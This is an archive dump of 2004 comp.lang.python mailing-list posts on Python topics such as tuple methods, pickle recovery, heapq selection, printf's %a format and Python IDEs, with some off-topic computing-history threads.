<7xfz5rn1w2.fsf@ruckus.brouhaha.com> <7xllfjfe9m.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > Mercuro writes: > >>I have a proprietary system, which I can't modify. But, it uses Foxpro >>DBF files which I can read. I have found all the data I want to have >>in a MySQL table. (this table will be used to lookop prices and to >>find other information about articles) >> >>Since I'm not able to put some timestamps on changed records, I got >>the idea to put a checksum on each record and save it in the MySQL >>table. Every night I would 'SELECT' all checksums together with the >>artikelnumbers and than compare it one by one with newly calculated >>checksums from the DBF file. Only the changed checksums shall be >>'UPDATED' and missing numbers would be 'INSERTED'. > > > I'm a little confused. Is only the DBF file getting updated? the MySQL table should be updated by the DBF file If you > can put a checksum on each record, why can't you put a timestamp on > each record? Not in the DBF file, which is immutable for me. Or why can't you just migrate all the data from the DBF > into another file every night, and then just scan the file to find the > changes from the previous night's version? That I can give a try > > >>This is the code I have for now: >>(I will probably change md5 with crc32) > > > Where are the updates coming from? from a proprietary system, which uses DBF files. It is updated by modem connection, every day once. From aleaxit at yahoo.com Sat Sep 4 05:00:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:30 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> Message-ID: <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> Donn Cave wrote: ... > On the other hand, we normally use tuples for data that > is meaningful only when it's intact. The (key, value) So by this argument len(t) should not work if t is a tuple... I've never accepted the BDFL's explanations on what tuples are for; like Python beginners I use them as immutable lists (to index into a dictionary or be set members) and curse their lack of useful methods. > pair that comes back from dict.items(), for example. Each > value may very well be a string, but the sequence is not > homogeneous in the sense we're talking about, and index() > is not useful. Even for a pair I sometimes like to know if 42 is the key, the value, or neither. index is handy for that... but not if the pair is a tuple, only if it's a list. Rationalize as you will, it's still a Python wart. Pseudotuples with NAMED (as well as indexed) arguments, as modules stat and time now return, may be a different issue. Not sure why we never made declaring such pseudotuples as usertypes as easy as it should be, a custom metaclass in some stdlib module shd be enough. But tuples whose items can't be named, just indexed or sliced, just are not a good fit for the kind of use case you and Guido use to justify tuple's lack of methods, IMHO. Alex From adurdin at gmail.com Thu Sep 16 21:34:23 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Fri, 17 Sep 2004 11:34:23 +1000 Subject: wxPython Not Ready for Commercial Use In-Reply-To: <10kjq35q7n2q28e@corp.supernews.com> References: <10kjq35q7n2q28e@corp.supernews.com> Message-ID: <59e9fd3a04091618344d2d1fa3@mail.gmail.com> On Thu, 16 Sep 2004 12:26:09 -0700, Jeff Shannon wrote: > > Presuming that you're targetting Windows, there's a couple of solutions > here. Perhaps the simplest would be to use either pythonCOM or > pyXLWriter ( http://sourceforge.net/projects/pyxlwriter/ ) to get Excel > to handle the output for you. I suspect that either of these methods > would be simpler than writing Excel-xml. I was recently involved in a project which required producing excel files programmatically (this was from VB *spew*). I started off using COM, but it turned out to be unreasonably slow for filling in all the cells that we needed to do; so instead we output an XML spreadsheet. It was much faster, and simpler in the end. From mauriceling at acm.org Sun Sep 5 19:33:53 2004 From: mauriceling at acm.org (Maurice LING) Date: Sun, 05 Sep 2004 23:33:53 GMT Subject: compiling to python byte codes In-Reply-To: <4138207f$0$182$9b622d9e@news.freenet.de> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> Message-ID: <413ba25b$1@news.unimelb.edu.au> Probably my question should be phrased as, given what x86/PPC processors are register-based (even after more than a decade from the publication of the book "Stack Machines - the new wave") and there isn't much examples of stack-based processors, why is there a difference? It seems wierd to me that if stack-based machines (physical processors or VMs) are so good, why hadn't the processor engineering caught up? You've totally missed my question but thanks anyway, I've learnt. My actual question had been partially answered. Thanks From richie at entrian.com Tue Sep 21 04:43:00 2004 From: richie at entrian.com (Richie Hindle) Date: Tue, 21 Sep 2004 09:43:00 +0100 Subject: Electronic voting feasibility In-Reply-To: <653b7547.0409201633.5216dfef@posting.google.com> References: <653b7547.0409181444.41e0d131@posting.google.com> <653b7547.0409201633.5216dfef@posting.google.com> Message-ID: [Pat] > I was mystified to find > that www.m-w.com does not have an entry for an adjective "sound" > meaning "acoustic." I find this baffling -- not only is this an > extremely common usage (IMO), but in the dictionary itself, one of the > entries in the definition for "acoustic" refers to "sound waves"! I believe that's an "attributive use" of the noun "sound", as in "brick wall" or "town council". See "Adjective (1)" in The New Fowler's. -- Richie Hindle richie at entrian.com From carribeiro at gmail.com Wed Sep 15 18:16:12 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 15 Sep 2004 19:16:12 -0300 Subject: Using a decorator for generic html templates In-Reply-To: <864d37090409151511b2ad9c4@mail.gmail.com> References: <864d37090409151511b2ad9c4@mail.gmail.com> Message-ID: <864d370904091515167f7559e3@mail.gmail.com> Hello all again, I made a small mistake in my previous post. Please change one line only: - return func.__doc__ + return trim(func.__doc__) The resulting test run is now correct: >>> r = Root() >>> r.index() '\n \n

Hello World!

\n \n' As you can see, I just forgot to call trim() at the right time when crafting my example. Sorry for the inconvenience. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From steven.bethard at gmail.com Sat Sep 4 19:36:02 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Sat, 4 Sep 2004 23:36:02 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: Message-ID: Andrew Dalke mindspring.com> writes: > Steven Bethard wrote: > > Presumably there was a reason not to use len() to determine > > the end of the sequence? > > Because that allows iteration over things where > you don't yet know the size. I'm trying to imagine a situation where it makes sense to want the x[i] behavior from __getitem__ but where you don't know the final index. x[i] suggests random access, so if you don't really have random access, shouldn't you be defining __iter__ instead? Are there some good examples of classes that allow the x[i] indexing but don't support random access (e.g. you can do only do x[2] after you do x[1])? (Obviously your FileReader class was an example of this, but I've assumed this was just an example of how things *could* have been written, not how they actually were. Please correct me if I'm wrong!) Steve From rstephens at vectron.com Sun Sep 19 12:57:36 2004 From: rstephens at vectron.com (Ron Stephens) Date: 19 Sep 2004 09:57:36 -0700 Subject: New Programmer and Python References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> Message-ID: See www.awaretek.com/plf.html for many resources to help new programmers learn Python From cbfalconer at yahoo.com Tue Sep 7 17:59:17 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Tue, 07 Sep 2004 21:59:17 GMT Subject: Xah Lee's Unixism References: <41376B82.C6A202FC@yahoo.com> <41386155$0$19713$61fed72c@news.rcn.com> <2prna6Fnrv5rU1@uni-berlin.de> <20040904073342.5da8c563.steveo@eircom.net> <764.746T316T7654137@kltpzyxm.invalid> Message-ID: <413E2025.828C091@yahoo.com> Charlie Gibbs wrote: > (Patrick Scheible) writes: >> Steve O'Hara-Smith writes: >> >>> There are stone stairs in my old school and in many college >>> buildings that have deep curves worn into them by feet over a >>> century or three. >> >> Heh. There are marble stairs with deep wear in them in the main >> library at my school... only that particular building was only built >> in 1925 or thereabouts. > > Another damned contractor swapping in substandard materials... I believe marble is a relatively soft stone, and not suitable for heavy traffic. Maybe you should castigate the architect. -- "I'm a war president. I make decisions here in the Oval Office in foreign policy matters with war on my mind." - Bush. "If I knew then what I know today, I would still have invaded Iraq. It was the right decision" - G.W. Bush, 2004-08-02 From mcfletch at rogers.com Sat Sep 25 13:28:46 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Sat, 25 Sep 2004 13:28:46 -0400 Subject: recover a partly destroyed pickled structure In-Reply-To: References: Message-ID: <4155AACE.3040807@rogers.com> Each line you quote as "interesting" is an item in a list, denoted by the line starting with 'a', after that is the type notation ('F', for float), so if that's all the data you need, you can just do: values = [] for line in lines: line = line.strip() assert line.startswith( 'aF' ), """Line %r doesn't start with aF"""%(line,) value = float(line[2:]) values.append( value ) doSomethingWithValues( values ) You can see the formats quite simply by using pickle at the command line: In [3]: pickle.dumps( [ 2.0, 3.0] ) Out[3]: '(lp0\nF2.0\naF3.0\na.' HTH, Mike Maurizio Berlusconi wrote: >Hi all > >I have (my mistake) overwritten the beginning of a file where a long >dictionary was pickled with another (pickled and much smaller) dictionary. >Since only 10% or so of the original and important data was overwritten, I >would be happy if I could somehow recover at least the part that I can >still see. > > ... >ss. #after that line starts the data I need >aF10.0 >aF10.3125 >aF8.125 >aF4.84375 >aF4.21875 >aF5.9375 >....# all data is here until the end >g4 >sg215 >S'12:26' >p3376 >ss. ># end of old important data > >Can anybody give an indication on how to do that? I tried to understand >how pickle puts these numbers on the different fields and remove the >unimportant beginning of the file to replace it with something that would >allow to unpickle the data, but did not really succeed. Read the >source (and understand it) is far beyond my python skills... > >Any hint or pointer would be appreciated. > >Regards, > >Maurizio > > -- ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From lynn at garlic.com Thu Sep 9 11:02:33 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 09 Sep 2004 09:02:33 -0600 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <413f049f$0$6914$61fed72c@news.rcn.com> <5sjnhc.bb81.ln@via.reistad.priv.no> Message-ID: Morten Reistad writes: > But with a PM you had to do a cold start. All the disks had to be > spun down, filters changed, and they had to spin for an ungodly long > time after the filter change before heads could be enabled > again. This was to bring all the dust that was let loose in the > process into the new filters before heads went to fly over the > platters again. > > Also power supplies had to be checked for the dreaded capacitor > problems. Tape drives also had these. This was industry-wide > problems; and news from a few burned UPS'es the last couple of > months tell me that the capacitor problems are still with us. > > It was a real accomplishment when we in 1988 could do a full PM > (Prime gear) without shutting down the system. All disks were > mirrored, and all power duplicated, so we shut down half of the > hardware and did PM on that; and took the other half next week. > > SMD filters were used at a quite high rate; even inside well > filtered rooms. ISTR 6 months was a pretty long interval between > PM's. 360s, 370s, etc differentiated between smp ... which was either symmetrical multiprocessing or shared memory (multi-)processing ... and loosely-coupled multiprocessing (clusters). http://www.garlic.com/~lynn/subtopic.html#smp in the 70s, my wife did stint in POK responsible for loosely-coupled multiprocessing architecture and came up with peer-coupled shared data http://www.garlic.com/~lynn/subtopic.html#shareddata also in the 70s, i had done a re-org of the virtual memory infrastructure for vm/cms. part of it was released as something called discontiguous shared memory ... and other pieces of it was released as part of the resource manager having to do with page migration (moving virtual pages between different backing store devices). http://www.garlic.com/~lynn/subtopic.html#fairshare http://www.garlic.com/~lynn/subtopic.html#wsclock http://www.garlic.com/~lynn/subtopic.html#mmap http://www.garlic.com/~lynn/subtopic.html#adcon in the mid-70s, one of the vm/cms timesharing service bureaus http://www.garlic.com/~lynn/subtopic.html#timeshare was starting to offer 7x24 service to customers around the world; one of the issues was being able to still schedule PM .... when there was never a time that there wasn't anybody using the system. they had already providing support for loosely-coupled, similar to HONE http://www.garlic.com/~lynn/subtopic.html#hone for scallability & load balancing. what they did in the mid-70s was to expand the "page migration" ... to include all control blocks ... so that processes could be migrated off one processor complex (in a loosely-coupled environment) to a different processor complex ... so a processor complex could be taken offline for PM. in the late '80s, we started the high availability, cluster multiprocessing project: http://www.garlic.com/~lynn/subtopic.html#hacmp of course the airline res system had been doing similar things on 360s starting in the 60s. totally random references to airline res systems, tpf, acp, and/or pars: http://www.garlic.com/~lynn/96.html#29 Mainframes & Unix http://www.garlic.com/~lynn/99.html#17 Old Computers http://www.garlic.com/~lynn/99.html#100 Why won't the AS/400 die? Or, It's 1999 why do I have to learn how to use http://www.garlic.com/~lynn/99.html#103 IBM 9020 computers used by FAA (was Re: EPO stories (was: HELP IT'S HOT!!!!!)) http://www.garlic.com/~lynn/99.html#136a checks (was S/390 on PowerPC?) http://www.garlic.com/~lynn/99.html#152 Uptime (was Re: Q: S/390 on PowerPC?) http://www.garlic.com/~lynn/2000b.html#20 How many Megaflops and when? http://www.garlic.com/~lynn/2000b.html#61 VM (not VMS or Virtual Machine, the IBM sort) http://www.garlic.com/~lynn/2000b.html#65 oddly portable machines http://www.garlic.com/~lynn/2000c.html#60 Disincentives for MVS & future of MVS systems programmers http://www.garlic.com/~lynn/2000e.html#21 Competitors to SABRE? Big Iron http://www.garlic.com/~lynn/2000e.html#22 Is a VAX a mainframe? http://www.garlic.com/~lynn/2000f.html#20 Competitors to SABRE? http://www.garlic.com/~lynn/2001.html#26 Disk caching and file systems. Disk history...people forget http://www.garlic.com/~lynn/2001b.html#37 John Mashey's greatest hits http://www.garlic.com/~lynn/2001d.html#69 Block oriented I/O over IP http://www.garlic.com/~lynn/2001e.html#2 Block oriented I/O over IP http://www.garlic.com/~lynn/2001g.html#35 Did AT&T offer Unix to Digital Equipment in the 70s? http://www.garlic.com/~lynn/2001g.html#45 Did AT&T offer Unix to Digital Equipment in the 70s? http://www.garlic.com/~lynn/2001g.html#46 The Alpha/IA64 Hybrid http://www.garlic.com/~lynn/2001g.html#47 The Alpha/IA64 Hybrid http://www.garlic.com/~lynn/2001g.html#49 Did AT&T offer Unix to Digital Equipment in the 70s? http://www.garlic.com/~lynn/2001j.html#17 I hate Compaq http://www.garlic.com/~lynn/2001n.html#0 TSS/360 http://www.garlic.com/~lynn/2001n.html#3 News IBM loses supercomputer crown http://www.garlic.com/~lynn/2002c.html#9 IBM Doesn't Make Small MP's Anymore http://www.garlic.com/~lynn/2002g.html#2 Computers in Science Fiction http://www.garlic.com/~lynn/2002g.html#3 Why are Mainframe Computers really still in use at all? http://www.garlic.com/~lynn/2002h.html#12 Why did OSI fail compared with TCP-IP? http://www.garlic.com/~lynn/2002h.html#43 IBM doing anything for 50th Anniv? http://www.garlic.com/~lynn/2002i.html#63 Hercules and System/390 - do we need it? http://www.garlic.com/~lynn/2002i.html#83 HONE http://www.garlic.com/~lynn/2002j.html#83 Summary: Robots of Doom http://www.garlic.com/~lynn/2002m.html#67 Tweaking old computers? http://www.garlic.com/~lynn/2002n.html#29 why does wait state exist? http://www.garlic.com/~lynn/2002o.html#28 TPF http://www.garlic.com/~lynn/2002p.html#58 AMP vs SMP http://www.garlic.com/~lynn/2003.html#48 InfiniBand Group Sharply, Evenly Divided http://www.garlic.com/~lynn/2003c.html#30 diffence between itanium and alpha http://www.garlic.com/~lynn/2003d.html#67 unix http://www.garlic.com/~lynn/2003g.html#30 One Processor is bad? http://www.garlic.com/~lynn/2003g.html#32 One Processor is bad? http://www.garlic.com/~lynn/2003g.html#37 Lisp Machines http://www.garlic.com/~lynn/2003j.html#2 Fix the shuttle or fly it unmanned http://www.garlic.com/~lynn/2003k.html#3 Ping: Anne & Lynn Wheeler http://www.garlic.com/~lynn/2003n.html#47 What makes a mainframe a mainframe? http://www.garlic.com/~lynn/2003p.html#45 Saturation Design Point http://www.garlic.com/~lynn/2004.html#24 40th anniversary of IBM System/360 on 7 Apr 2004 http://www.garlic.com/~lynn/2004.html#49 Mainframe not a good architecture for interactive workloads http://www.garlic.com/~lynn/2004.html#50 Mainframe not a good architecture for interactive workloads http://www.garlic.com/~lynn/2004b.html#6 Mainframe not a good architecture for interactive workloads http://www.garlic.com/~lynn/2004b.html#7 Mainframe not a good architecture for interactive workloads http://www.garlic.com/~lynn/2004c.html#35 Computer-oriented license plates http://www.garlic.com/~lynn/2004e.html#44 Infiniband - practicalities for small clusters http://www.garlic.com/~lynn/2004f.html#58 Infiniband - practicalities for small clusters http://www.garlic.com/~lynn/2004g.html#14 Infiniband - practicalities for small clusters -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From john at grulic.org.ar Tue Sep 7 17:28:03 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 7 Sep 2004 18:28:03 -0300 Subject: %a format In-Reply-To: <413E0A4D.D1E91162@alcyone.com> References: <413E0A4D.D1E91162@alcyone.com> Message-ID: <20040907212803.GA28400@grulic.org.ar> On Tue, Sep 07, 2004 at 12:21:49PM -0700, Erik Max Francis wrote: > Tor Iver Wilhelmsen wrote: > > > John Lenton writes: > > > > > Is there any reason python's printf-style formatting is missing the > > > (C99) '%a' specifier? > > > > Because it's not very well known or used? A google for "C printf > > format string" gave lots of resources, none of which had %a. > > It's not C99, anyway; my copy of C99 makes no mention of it (the only > mention of %a is associated with gmtime. hmm! weird. From printf(3): a,A (C99; not in SUSv2) For a conversion, the double argument is converted to hexadecimal notation (using the letters abcdef) in the style [?]0xh.hhhhp?d; for A conversion the prefix 0X, the letters ABCDEF, and the exponent separator P is used. There is one hexadecimal digit before the decimal point, and the number of digits after it is equal to the precision. The default precision suffices for an exact representation of the value if an exact representation in base 2 exists and otherwise is sufficiently large to distinguish values of type double. The digit before the decimal point is unspecified for non?normalized numbers, and nonzero but otherwise unspecified for normalized numbers. and looking at ISO/IEC 9899:1999 (E), it's on page 278, ?7.19.6.1: a,A A double argument representing a floating-point number is converted in the style [-]0xh.hhhh p?d, where there is one hexadecimal digit (which is nonzero if the argument is a normalized floating-point number and is otherwise unspecified) before the decimal-point character235) and the number of hexadecimal digits after it is equal to the precision; if the precision is missing and FLT_RADIX is a power of 2, then the precision is sufficient for an exact representation of the value; if the precision is missing and FLT_RADIX is not a power of 2, then the precision is sufficient to distinguish236) values of type double, except that trailing zeros may be omitted; if the precision is zero and the # flag is not specified, no decimalpoint character appears. The letters abcdef are used for a conversion and the letters ABCDEF for A conversion. The A conversion specifier produces a number with X and P instead of x and p. The exponent always contains at least one digit, and only as many more digits as necessary to represent the decimal exponent of 2. If the value is zero, the exponent is zero. A double argument representing an infinity or NaN is converted in the style of an f or F conversion specifier. -- John Lenton (john at grulic.org.ar) -- Random fortune: It seems intuitively obvious to me, which means that it might be wrong. -- Chris Torek -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From aleaxit at yahoo.com Sun Sep 5 16:06:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 22:06:29 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> Message-ID: <1gjnodi.1tda7xkabfdo4N%aleaxit@yahoo.com> Tim Peters wrote: > [Alex Martelli, to Carlos Ribeiro] > > ... > > If you need to loop on the first few smallest items of a long sequence, > > you'll find good solutions in the cookbook (and better ones in the 2nd > > printed edition I'm supposed to be coediting rather than surfing > > c.l.py...:-), but the sorted builtin is no use for that. > > Note that Raymond Hettinger added efficient nlargest() and nsmallest() > functions to heapq for 2.4. Because heapq implements a min-heap, only > nlargest() is really "natural" for this module, but nsmallest() does Hmmm, am I reading this wrong...? getting the min N times seems easy, wouldn't that be nsmallest...? > what it can. Neither works as a generator. There are elegant ways to > implement mergesort as a cascade of (O(N)!) recursive generators, but > they're horrendously slow in comparison. Ouch, I _DID_ know I had to traipse more carefully through 2.4's sources... I had missed this ones!!! Thanks, they're going into the appropriate recipes (in the Searching and Sorting chapter -- whose introduction you'll no doubt have to vastly rewrite, btw...) ASAP. heapq _should_ have reversed= like list.sort, to make a maxheap almost as easy as a minheap (and key= too of course), but that's another fight^H^H^H^H^H debate... > > Again, you're assuming (implicitly) heapsort and ignoring the huge > > performance benefit of Peters' "natural mergesort" as implemented in > > the current sorted built-in (and list.sort method). In all the many > > cases in which the whole sorted sequence is wanted, natural > > mergesort shines, particularly in the common practical cases in > > which the input sequence already has some pieces ordered, while > > heapsort gets no prize at all. > > It's actually the "adaptive" in "adaptive natural mergesort" that > supplies the real wins. The "natural" part does pay in some cases, > but not nearly as often as the "adaptive" part. There's an extensive > writeup of the algorithm in a Python source distribution's > Objects/listsort.txt. The adaptive part requires creating long runs > in order to, well, find something to adapt *to*. It's not suited to > generator-like behavior because of this (trying to do the least work > possible to deliver "the next" result would castrate its most > generally effective go-fast trick). I _have_ read listsort.txt (a few times), one of these days it will have facilitated enough new synapses in my neural pathways to enable me to actually grok the sources, I'm sure. > > I'll note that no algorithm can know the smallest element before it's > seen all the elements, so no generator-like gimmick can deliver the > first element of the sorted result before materializing the entire > input and doing O(N) work on it. Yep, that much is obvious even to lowly practitioners such as me. > The recursive-generator mergesorts > mentioned above deliver the first result after doing exactly N-1 > compares (which achieves the theoretical minimum). But the builtin > sort() can usually sort the whole list before that gimmick can deliver > its first result. And what about the heapsorts...? It probably depends on what you mean by 'usually', but...: with s.py being: import heapq, random def top3_heapq(s): return heapq.nsmallest(3, s) def top3_sort(s): return sorted(s)[:3] x1 = range(1000) random.shuffle(x1) on my old-ish iBook with Python 2.4 alpha 3 I see...: kallisti:~/cb/cha/sys/cba alex$ python ~/cb/timeit.py -s'import s' 's.top3_heapq(s.x1)' 1000 loops, best of 3: 656 usec per loop kallisti:~/cb/cha/sys/cba alex$ python ~/cb/timeit.py -s'import s' 's.top3_sort(s.x1)' 100 loops, best of 3: 4e+03 usec per loop Alex From tim.peters at gmail.com Sat Sep 18 13:08:54 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sat, 18 Sep 2004 13:08:54 -0400 Subject: Math errors in python In-Reply-To: References: Message-ID: <1f7befae040918100862a0079f@mail.gmail.com> [Radioactive Man] > In python 2.3 (IDLE 1.0.3) running under windows 95, I get the > following types of errors whenever I do simple arithmetic: > > 1st example: > >>> 12.10 + 8.30 > 20.399999999999999 ... Please read the Tutorial appendix on floating-point issues: http://docs.python.org/tut/node15.html From aleaxit at yahoo.com Thu Sep 2 07:07:59 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 2 Sep 2004 13:07:59 +0200 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: <1gjhleb.6l5nbvaf0x06N%aleaxit@yahoo.com> Bengt Richter wrote: ... > Here's a way to auto-initialize an instance attribute to a mutable via a class variable > (that happens to be a descriptor ;-) > > >>> class C(object): > ... class prop(object): > ... def __get__(self, inst, cls=None): > ... if inst: return inst.__dict__.setdefault('prop',[]) > ... return self > ... def __set__(self, inst, value): inst.__dict__['prop'] = value > ... def __delete__(self, inst): del inst.__dict__['prop'] > ... prop = prop() > ... I think it's the most elegant approach so far, except I would further tweak it as follows: class auto_initialized(object): def __init__(self, name, callable, *args, **kwds): self.data = name, callable, args, kwds def __get__(self, ints, cls=None): if inst: name, callable, args, kwds = self.data self = inst.__dict__[name] = callable(*args, **kwds) return self No __set__ and __del__ warranted, I believe. Use would then be, e.g: class C(object): prop = auto_initialized('prop', list) Pity that the name must be specified, but ah well, that's descriptors' defects -- they don't get reminded about the name upon __get__ etc. > Any use to you? (disclaimer: not tested beyond what you see here ;-) I could use it in the Cookbook, side by side with Dan's "overloading __new__" idea and my custom metaclass, as various approaches to solving a 'problem' (if that be one) of "automatically initializing mutable instance attributes". It would help if you and/or Dan posted these recipes to ActiveState's online cookbook ASAP (deadline is Sat Sep 5...) -- I'm allowed to add recipes that didn't show up on the online cookbook, but that _is_ discouraged... (and posting the recipes myself isn't much better, either). Alex From olivier.parisy at free.fr Wed Sep 1 10:14:06 2004 From: olivier.parisy at free.fr (Olivier Parisy) Date: Wed, 01 Sep 2004 16:14:06 +0200 Subject: Enumerating Network Adapters In-Reply-To: References: <4131b09e$0$13683$636a15ce@news.free.fr> <413257dd$0$26986$626a14ce@news.free.fr> <4qmkheha.fsf@python.net> <9418be08.0408301226.354c337a@posting.google.com> Message-ID: <4135d929$0$28829$636a15ce@news.free.fr> Dave Brueck wrote: > Elbert Lev wrote: > >>>> It returned the least useful of my 3 IP addresses - my loopback >>>> adapter - but didn't return my LAN and wireless IPs. >> >> >> >> Interesting! I have Python installed on 10 W2K servers and I'm using >> the same construct to get addresses. Works fine for me. > > > WinXP Pro here - I wonder if that's the difference. Interestingly, I have the same problem with XP Pro. But socket.gethostbyname_ex seems to do the trick for me ! Regards, Olivier. From elainejackson7355 at home.com Fri Sep 24 04:06:43 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Fri, 24 Sep 2004 08:06:43 GMT Subject: spliting a list by nth items References: Message-ID: >>> x = [0,1,2,3,4,5,6,7,8,9] >>> n = 3 >>> y = [x[i] for i in range(len(x)) if i%n==0] >>> z = [x[i] for i in range(len(x)) if i%n<>0] >>> x [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] >>> y [0, 3, 6, 9] >>> z [1, 2, 4, 5, 7, 8] "Steven Bethard" wrote in message news:mailman.3802.1095960335.5135.python-list at python.org... | I feel like this has probably been answered before, but I couldn't | find something quite like it in the archives. Feel free to point me | somewhere if you know where this has already been answered. | | I have a list in a particular order that I want to split into two | lists: the list of every nth item, and the list of remaining items. | It's important to maintain the original order in both lists. | | So the first list is simple: | | nth_items = items[::n] | | The second list is what's giving me trouble. So far, the best I've | come up with is: | | non_nth_items = list(items) | del non_nth_items[::n] | | Is this the right way to do this? | | Steve | -- | You can wordify anything if you just verb it. | - Bucky Katt, Get Fuzzy From kevin_spencer_2 at yahoo.com Tue Sep 21 08:33:30 2004 From: kevin_spencer_2 at yahoo.com (kevin) Date: Tue, 21 Sep 2004 08:33:30 -0400 Subject: python ides Message-ID: Since i saw a post about a troll saying python doesnt have good ides(not true) , i would like to say that python has the best ide ever! and i challenge emacs,vim users who dont believe in the power of an ide , take a look : wingide 2 : ------------- python with full callback tip,autocompletion support, look at the right down position of the screenshoot,where it shows the type of the attribute,its arguments if any,and the doc string, so memorize those details is not needed any more. http://www.zippyimages.com/files/111424/codecompletion_calltips_sourceassistant. png if the ide doesnt know what type is the object(cause of dinamic typing),you can still use code assist, for example : def myfunction(unknowntype): unknowntype. ???? and you know that unknowntype is a Cookie instance, then type ' Cookie. ' and you will get the assistance --------------------------- complete code-object browser http://www.zippyimages.com/files/111426/code_browser_source_browser.png ---------------------------- and finaly ,a super complete debuger , with support for plone/zope , wxwindows and a lot of advanced options. http://www.zippyimages.com/files/111427/most_powerfull_debugger_ever.png ---------------------------- With the power of python and the power of this great ide, programing is even more fun and productive. ;) Ha, java,visual studiors wish to have this powerfull ide and programing language avaiable for .not or eclipse tecnologies I think emacs-vim users will change their mind after trying it ;), well the problem is that it is a bit expensive =( , at least the personal edition is accesible , toughs? just try it, =) http://wingware.com/downloads From jmfbahciv at aol.com Fri Sep 3 06:32:40 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Fri, 03 Sep 04 10:32:40 GMT Subject: Xah Lee's Unixism References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <41385b1e$0$19713$61fed72c@news.rcn.com> In article , "John Thingstad" wrote: >On Thu, 02 Sep 2004 08:35:30 GMT, Brian Inglis > wrote: > >> On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W. >> Kennedy" wrote: >> >>> Andre Majorel wrote: >>>> On 2004-08-31, Brian Inglis wrote: >>>> >>>>> On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers, >>>>> Andre Majorel wrote: >>>>> >>>>> >>>>>> On 2004-08-30, Antony Sequeira wrote: >>>>> >>>>>>> Windows (MS) is not 'Unixism'? >>>>>> >>>>>> If by unixism, you mean any operating system that has a >>>>>> hierarchical filesystem and byte stream files, yes. But that >>>>>> would include quite a few other non-Unix operating systems, >>>>>> including Mac OS 9, Prologue and probably everything else this >>>>>> side of CP/M (DOS 1.x shall be deemed to be CP/M). >>>>> >>>>> DOS 2.x+ shall be deemed to be CP/M+! >>>> >>>> >>>> Wasn't it in version 2 that they added directories and >>>> Unix-style file handles ? >>> >>> Yes, and also a single-process pipe emulator. Ever since 2.0, MS has >>> been trying to turn MS-DOS (later, Windows) into a Unix clone. >> >> MS has been borrowing code from Unix to create a real OS: TCP/IP; >> NTFS<-ffs; memory mapped files<-mmap. >> Shame they keep trying to add their own ideas in too: that must be >> what causes the crashes! >> > >You seeem misinformed. >Microsoft swallowed up a team from DEC. >The were developing a operating system called PRISM. Which was Cutler's view of what VMS should be. Assuming he hadn't change, this would not have delivered computing system services to users. >When the project was cancelled they quit DEC in protest. >These peaple had more than a 100 years of experience in developing >muliuser / >mutitasking operating systems between them. 100 years total isn't much experience. > .. The fact that the NT kernel is >not >entirely stable yet really shouldn't supprise anyone. Afterall Unix has >messed with >it's kernel for 30 years. PRISM is as old as Unix...actually older. /BAH Subtract a hundred and four for e-mail. From carribeiro at gmail.com Fri Sep 24 10:50:57 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 11:50:57 -0300 Subject: up with PyGUI! In-Reply-To: <69D101A3-0E34-11D9-8C15-003065B11E84@leafe.com> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <69D101A3-0E34-11D9-8C15-003065B11E84@leafe.com> Message-ID: <864d3709040924075081ddd63@mail.gmail.com> On 